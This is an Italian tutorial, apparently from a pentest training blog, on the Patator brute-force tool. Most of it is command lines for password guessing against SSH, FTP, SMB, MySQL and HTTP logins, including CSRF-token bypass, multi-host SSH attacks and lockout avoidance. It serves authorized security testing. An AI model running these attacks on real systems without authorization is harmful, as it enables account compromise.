tools

Patator: Brute-Force Framework Modulare per Test di Autenticazione

Patator: Brute-Force Framework Modulare per Test di Autenticazione

Patator: Brute-Force Framework Modulare per Test di Autenticazione

  • Pubblicato il 2026-02-21
  • Tempo di lettura: 4 min

Patator è un bruteforcer modulare che supera i limiti di Hydra e Medusa in scenari complessi. In questa guida impari a configurare attacchi con token CSRF dinamici, filtri avanzati su response e parallelizzazione intelligente. Dalla configurazione base agli attacchi su form protetti.

Cos’è Patator #

Patator è un framework Python per bruteforce multi-protocollo con features avanzate:

  • Gestione token dinamici (CSRF)
  • Filtri granulari su response
  • Retry automatico su errori
  • Output dettagliato
  • Moduli estendibili

Installazione e Setup #

Kali Linux #

bash
# Preinstallato su Kali
patator --help

# Se non presente
sudo apt update && sudo apt install patator -y

Installazione da Source #

bash
# Clone repository
git clone https://github.com/lanjelot/patator.git /opt/patator
cd /opt/patator

# Installa dipendenze
pip3 install -r requirements.txt

# Esegui
python3 patator.py

Dipendenze per Moduli #

bash
# Per tutti i moduli
pip3 install paramiko      # SSH
pip3 install pycurl        # HTTP
pip3 install dnspython     # DNS
pip3 install pyopenssl     # SSL
pip3 install pymysql       # MySQL
pip3 install psycopg2      # PostgreSQL
pip3 install cx_Oracle     # Oracle

Struttura e Sintassi #

Sintassi Generale #

bash
patator modulo opzioni
patator ssh_login host=target user=FILE0 password=FILE1 0=users.txt 1=passwords.txt

Moduli Disponibili #

ModuloProtocolloUso
ssh_loginSSHBruteforce SSH
ftp_loginFTPBruteforce FTP
telnet_loginTelnetBruteforce Telnet
smtp_loginSMTPBruteforce email
http_fuzzHTTP/HTTPSBruteforce web
mysql_loginMySQLBruteforce database
pgsql_loginPostgreSQLBruteforce database
mssql_loginMSSQLBruteforce database
oracle_loginOracleBruteforce database
ldap_loginLDAPBruteforce directory
smb_loginSMBBruteforce shares
vnc_loginVNCBruteforce VNC
dns_forwardDNSEnumeration DNS
snmp_loginSNMPBruteforce community

Attacchi per Protocollo #

SSH Bruteforce #

bash
# Username e password da file
patator ssh_login host=192.168.1.100 user=FILE0 password=FILE1 \
        0=users.txt 1=passwords.txt

# Porta custom
patator ssh_login host=192.168.1.100 port=2222 \
        user=FILE0 password=FILE1 0=users.txt 1=passwords.txt

# Filtra solo successi
patator ssh_login host=192.168.1.100 user=FILE0 password=FILE1 \
        0=users.txt 1=passwords.txt \
        -x ignore:mesg='Authentication failed'

Output:

text
10:30:01 patator    INFO - Starting Patator v0.9 
10:30:01 patator    INFO - code  size    time | candidate
10:30:05 patator    INFO - 0     1234    0.5  | admin:admin123

FTP Bruteforce #

bash
# FTP standard
patator ftp_login host=192.168.1.100 user=FILE0 password=FILE1 \
        0=users.txt 1=passwords.txt

# Ignora fallimenti
patator ftp_login host=192.168.1.100 user=FILE0 password=FILE1 \
        0=users.txt 1=passwords.txt \
        -x ignore:mesg='Login incorrect'

SMB Bruteforce #

bash
# SMB/CIFS
patator smb_login host=192.168.1.100 user=FILE0 password=FILE1 \
        0=users.txt 1=passwords.txt

# Con dominio
patator smb_login host=192.168.1.100 domain=CORP \
        user=FILE0 password=FILE1 0=users.txt 1=passwords.txt

MySQL Bruteforce #

bash
# MySQL
patator mysql_login host=192.168.1.100 user=FILE0 password=FILE1 \
        0=users.txt 1=passwords.txt

# Filtra errori
patator mysql_login host=192.168.1.100 user=FILE0 password=FILE1 \
        0=users.txt 1=passwords.txt \
        -x ignore:fgrep='Access denied'

HTTP Fuzzing Avanzato #

HTTP Basic Auth #

bash
patator http_fuzz url=http://192.168.1.100/admin \
        user_pass=FILE0:FILE1 0=users.txt 1=passwords.txt \
        -x ignore:code=401

HTTP POST Form #

bash
# Form login semplice
patator http_fuzz url=http://target.com/login method=POST \
        body='username=FILE0&password=FILE1' \
        0=users.txt 1=passwords.txt \
        -x ignore:fgrep='Invalid credentials'

Form con CSRF Token #

Il punto di forza di Patator rispetto a Hydra:

bash
# Step 1: Prima request per ottenere token
# Step 2: Usa token nella request di login

patator http_fuzz url=http://target.com/login method=POST \
        body='username=FILE0&password=FILE1&csrf_token=__CSRF__' \
        0=users.txt 1=passwords.txt \
        before_urls=http://target.com/login \
        before_egrep='__CSRF__:name="csrf_token" value="(\w+)"' \
        -x ignore:fgrep='Invalid'
bash
# Mantieni sessione tra request
patator http_fuzz url=http://target.com/login method=POST \
        body='user=FILE0&pass=FILE1' \
        0=users.txt 1=passwords.txt \
        accept_cookie=1 \
        -x ignore:fgrep='Login failed'

Header Custom #

bash
# Aggiungi header
patator http_fuzz url=http://target.com/api/login method=POST \
        body='{"user":"FILE0","pass":"FILE1"}' \
        0=users.txt 1=passwords.txt \
        header='Content-Type: application/json' \
        header='X-API-Key: abc123' \
        -x ignore:fgrep='unauthorized'

Filtri e Output #

Filtri Disponibili #

FiltroDescrizioneEsempio
codeHTTP status code-x ignore:code=401
sizeResponse size-x ignore:size=1234
timeResponse time-x ignore:time>5
mesgMessage esatto-x ignore:mesg='error'
fgrepSubstring match-x ignore:fgrep='Invalid'
egrepRegex match-x ignore:egrep='error|fail'

Combinare Filtri #

bash
# Ignora 401 E response piccole
patator http_fuzz url=http://target.com/admin \
        user_pass=FILE0:FILE1 0=users.txt 1=passwords.txt \
        -x ignore:code=401 \
        -x ignore:size=0

# Mostra solo successi specifici
patator http_fuzz url=http://target.com/login method=POST \
        body='user=FILE0&pass=FILE1' 0=users.txt 1=passwords.txt \
        -x ignore:fgrep='Invalid' \
        -x ignore:code=302  # Ignora redirect

Output Dettagliato #

bash
# Log completo
patator ssh_login host=192.168.1.100 user=FILE0 password=FILE1 \
        0=users.txt 1=passwords.txt \
        --log-dir=/tmp/patator_logs

# CSV output
patator ssh_login host=192.168.1.100 user=FILE0 password=FILE1 \
        0=users.txt 1=passwords.txt \
        -l /tmp/results.csv

Scenari Pratici di Penetration Test #

Scenario 1: Web Form con Anti-CSRF #

bash
# Target: login form con CSRF token

# 1. Analizza form con curl
curl -c cookies.txt http://target.com/login | grep csrf
# <input name="csrf_token" value="abc123xyz">

# 2. Patator con token dinamico
patator http_fuzz \
        url=http://target.com/login \
        method=POST \
        body='username=FILE0&password=FILE1&csrf_token=__TOKEN__' \
        0=users.txt \
        1=passwords.txt \
        before_urls=http://target.com/login \
        before_egrep='__TOKEN__:csrf_token" value="([^"]+)"' \
        accept_cookie=1 \
        -x ignore:fgrep='Invalid credentials'

Scenario 2: API REST Bruteforce #

bash
# API con JSON
patator http_fuzz \
        url=http://target.com/api/v1/auth \
        method=POST \
        body='{"username":"FILE0","password":"FILE1"}' \
        0=users.txt \
        1=passwords.txt \
        header='Content-Type: application/json' \
        header='Accept: application/json' \
        -x ignore:fgrep='invalid' \
        -x ignore:code=401

Scenario 3: DNS Subdomain Enumeration #

bash
# Bruteforce subdomains
patator dns_forward \
        name=FILE0.target.com \
        0=/usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
        -x ignore:code=3

# code=3 = NXDOMAIN (non esiste)

Scenario 4: Multi-Target SSH #

bash
# Lista target
# targets.txt:
# 192.168.1.100
# 192.168.1.101
# 192.168.1.102

patator ssh_login host=FILE0 user=FILE1 password=FILE2 \
        0=targets.txt 1=users.txt 2=passwords.txt \
        -x ignore:mesg='Authentication failed'

Parallelizzazione e Rate Limiting #

Controllo Threads #

bash
# Limita connessioni parallele
patator ssh_login host=192.168.1.100 user=FILE0 password=FILE1 \
        0=users.txt 1=passwords.txt \
        --threads=4

# Default: 10 threads

Rate Limiting #

bash
# Delay tra request (evita lockout)
patator http_fuzz url=http://target.com/login method=POST \
        body='user=FILE0&pass=FILE1' 0=users.txt 1=passwords.txt \
        --rate-limit=1  # 1 request/secondo

Timeout Configuration #

bash
# Timeout personalizzato
patator ssh_login host=192.168.1.100 user=FILE0 password=FILE1 \
        0=users.txt 1=passwords.txt \
        --timeout=30

Confronto Patator vs Hydra #

FeaturePatatorHydra
CSRF Token Support✓ Nativo✗ No
Filtri Granulari✓ AvanzatiLimitati
JSON Body✓ FacileComplesso
Learning CurveAltaBassa
Velocità RawMediaAlta
Protocolli15+50+
Estendibilità✓ PythonLimitata

Quando usare Patator:

  • Form con CSRF token
  • API REST/JSON
  • Filtri complessi su response
  • Custom protocols

Quando usare Hydra:

  • Attacchi semplici e veloci
  • Protocolli non-HTTP
  • Compatibilità massima

Integrazione con Altri Tool #

Patator + Burp Suite #

bash
# Passa traffico attraverso Burp
patator http_fuzz url=http://target.com/login method=POST \
        body='user=FILE0&pass=FILE1' 0=users.txt 1=passwords.txt \
        proxy=127.0.0.1:8080

Patator + Nmap #

bash
# Scan servizi
nmap -sV -p 22 192.168.1.0/24 -oG ssh_hosts.txt

# Estrai IP
grep "22/open" ssh_hosts.txt | cut -d " " -f 2 > targets.txt

# Bruteforce
patator ssh_login host=FILE0 user=root password=FILE1 \
        0=targets.txt 1=passwords.txt

Troubleshooting #

Errore: Module Not Found #

bash
# Installa dipendenza mancante
pip3 install paramiko  # SSH
pip3 install pycurl    # HTTP
pip3 install pymysql   # MySQL

HTTP Form Non Funziona #

bash
# 1. Verifica parametri con curl
curl -X POST -d "user=test&pass=test" http://target.com/login -v

# 2. Controlla redirect
# Aggiungi follow redirect se necessario
patator http_fuzz ... follow=1

# 3. Verifica Content-Type
patator http_fuzz ... header='Content-Type: application/x-www-form-urlencoded'

Troppi False Positive #

bash
# Affina filtri
# 1. Identifica response normale
curl -X POST -d "user=admin&pass=wrong" http://target.com/login | wc -c
# Output: 1234 bytes

# 2. Filtra per size
patator http_fuzz ... -x ignore:size=1234

Timeout Errors #

bash
# Aumenta timeout
patator ssh_login ... --timeout=60

# Riduci parallelismo
patator ssh_login ... --threads=2

FAQ #

Patator è più lento di Hydra?

Può essere più lento per attacchi semplici, ma è più efficiente per scenari complessi dove Hydra richiederebbe workaround.

Come gestisco form JavaScript-heavy?

Patator non esegue JavaScript. Per Single Page Applications, usa Selenium o Burp Intruder.

Posso creare moduli custom?

Sì, Patator è scritto in Python ed è estendibile. Crea nuovi moduli in /opt/patator/.

Come evito account lockout?

Usa --rate-limit per delay, --threads=1 per sequenziale, e password spray invece di bruteforce per-user.

È legale usare Patator?

Solo su sistemi autorizzati. Per pentest professionali, hackita.it/servizi.


Vuoi supportare HackIta? Visita hackita.it/supporto per donazioni. Per penetration test professionali e formazione 1:1, scopri hackita.it/servizi.

Risorse: Patator GitHub

#bruteforce

DIVENTA PARTE DELL’ÉLITE DELL’HACKING ETICO.

Accedi a risorse avanzate, lab esclusivi e strategie usate dai veri professionisti della cybersecurity.

Non sono un robot

Iscrivendoti accetti di ricevere la newsletter di HACKITA. Ti puoi disiscrivere in qualsiasi momento.